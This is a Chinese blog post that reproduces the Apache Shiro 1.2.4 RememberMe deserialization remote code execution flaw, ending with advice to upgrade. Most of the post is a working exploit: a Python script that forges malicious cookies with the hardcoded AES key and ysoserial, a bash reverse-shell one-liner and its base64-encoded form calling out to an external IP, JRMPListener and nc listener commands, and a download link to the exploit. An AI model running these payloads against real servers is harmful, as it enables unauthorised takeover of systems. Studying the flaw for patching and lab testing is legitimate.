美文网首页
Shiro RememberMe 1.2.4 反序列化过程命令执

Shiro RememberMe 1.2.4 反序列化过程命令执

作者: kepler404 | 来源:发表于2019-11-08 18:26 被阅读0次

    影响版本

    Apache Shiro <= 1.2.4

    原因分析

    Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

    AES加密

    勾选记住密码并登录页面上的账号密码,成功登录后台后返回Cookie中的rememberMe值为固定的512位

    图片.png

    环境搭建

    源码搭建

    git clone https://github.com/apache/shiro.git
    git checkout shiro-root-1.2.4
    cd ./shiro/samples/web
    

    需要提前配置tomcat
    mvn

    为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml文件,添加如下行:

    图片.png
    修改完成后,使用Maven 把存在漏洞环境 war包进行编译

    最终可以将 target 目录下生成的 samples-web-1.2.4.war 文件拷贝至 tomcat 目录下的 webapps 目录,这里将其重命名为了 shiro.war 文件,启动 tomcat, 在浏览器当中输入 http://localhost:8080/shiro 可以看到登录页面,如下图:

    图片.png

    如果不会编译war包的话,我已经整好了,直接打包,
    在文章下

    然后,获取我们复现需要用到的ysoserial工具

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -DskipTests
    

    漏洞利用

    恶意 Cookie rememberMe值构造

    前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie

    生成恶意rememberMe参数值Python代码

    python shiro.py 攻击者IP:PORT

    import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar 文件需要在该文件目录 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
    
    
    图片.png

    记得勾选这个


    图片.png

    用脚本生成恶意代码


    图片.png

    http://www.jackson-t.ca/runtime-exec-payloads.html
    制作反弹shell
    bash -i >& /dev/tcp/192.168.1.2/8888 0>&1

    图片.png
    再使用ysoserial中JRMP监听模块,监听12345端口注意这里的端口是刚才生成rememberMe值的端口。 再加上生成的base64编码。
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xOTUuMjQyLzEyMzQ2IDA+JjE=}|{base64,-d}|{bash,-i}'
    
    

    注意CommonsCollections4这里有个坑,复现不成功的话,换成5,4,3,2都试试


    图片.png

    然后nc监听12346,因为通过制作bash反弹12346端口


    图片.png
    发送生成后的恶意代码,替换cookie里的值
    图片.png 图片.png
    图片.png

    成功拿到权限

    下面是源码和exp

    链接:https://pan.baidu.com/s/1inm1RDfxgvfZ_q4yG6KDLA
    提取码:gy90
    复制这段内容后打开百度网盘手机App,操作更方便哦

    漏洞修复

    升级到Shiro 1.2.5以上版本

    相关文章

      网友评论

          本文标题:Shiro RememberMe 1.2.4 反序列化过程命令执

          本文链接:https://www.haomeiwen.com/subject/zqywbctx.html